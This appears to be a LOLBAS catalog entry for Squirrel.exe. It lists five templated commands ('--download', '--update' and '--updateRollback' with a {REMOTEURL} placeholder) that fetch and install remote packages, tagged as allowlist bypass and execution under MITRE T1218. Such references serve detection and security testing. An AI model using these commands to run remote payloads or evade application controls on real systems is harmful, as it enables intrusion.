CatalogLOLBAS

LOL · OtherMSBinary

Squirrel.exe

5 techniquesWindowsLOLBASGPL-3.0

Download

File DownloadWindows

The above binary will go to url and look for RELEASES file and download the nuget package.

Use Download binary

squirrel.exe --download {REMOTEURL}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Download
MITRE
T1218

AWL Bypass

AWL / Policy BypassWindows

The above binary will go to url and look for RELEASES file, download and install the nuget package.

Use Download and execute binary

squirrel.exe --update {REMOTEURL}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
AWL Bypass
MITRE
T1218

Execute

ExecutionWindows

The above binary will go to url and look for RELEASES file, download and install the nuget package.

Use Download and execute binary

squirrel.exe --update {REMOTEURL}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Execute
MITRE
T1218

AWL Bypass

AWL / Policy BypassWindows

The above binary will go to url and look for RELEASES file, download and install the nuget package.

Use Download and execute binary

squirrel.exe --updateRollback={REMOTEURL}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
AWL Bypass
MITRE
T1218

Execute

ExecutionWindows

The above binary will go to url and look for RELEASES file, download and install the nuget package.

Use Download and execute binary

squirrel.exe --updateRollback={REMOTEURL}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Execute
MITRE
T1218